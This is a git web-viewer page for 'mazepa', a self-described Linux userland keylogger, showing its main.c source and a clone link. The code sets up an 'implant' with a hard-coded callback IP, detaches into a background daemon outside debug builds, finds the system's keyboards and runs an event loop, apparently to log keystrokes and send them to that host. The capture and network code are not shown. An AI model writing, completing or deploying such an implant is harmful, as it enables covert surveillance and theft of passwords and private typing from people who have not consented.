mazepa~ linux userland keylogger |
| git clone https://github.com/djnnvx/mazepa.git |
| log | files | refs | archive | README |
main.c (716B)
1 2 3 #include <alloca.h> 4 #include <unistd.h> 5 #include "implant.h" 6 7 int main( 8 #ifdef DEBUG 9 int ac, 10 char **av, 11 #else 12 __attribute__((unused)) int ac, 13 __attribute__((unused)) char **av, 14 #endif 15 __attribute__((unused)) char **envp) { 16 17 implant_t instance = { 18 .ip = "10.0.2.2", /* ip can be a domain name */ 19 }; 20 21 #ifdef DEBUG 22 if (ERROR == run_lexer(ac, av, &instance)) 23 return 1; 24 25 DEBUG_LOG("[*] settings:\n\tIP:%s\n", instance.ip); 26 #else 27 /* TODO(djnn): instance_load_from_memory(&instance); */ 28 29 daemon_setup(); 30 #endif 31 32 if (ERROR == fetch_available_keyboards(&instance)) 33 return 1; 34 35 if (ERROR == evloop_run(&instance)) 36 return 1; 37 38 return 0; 39 }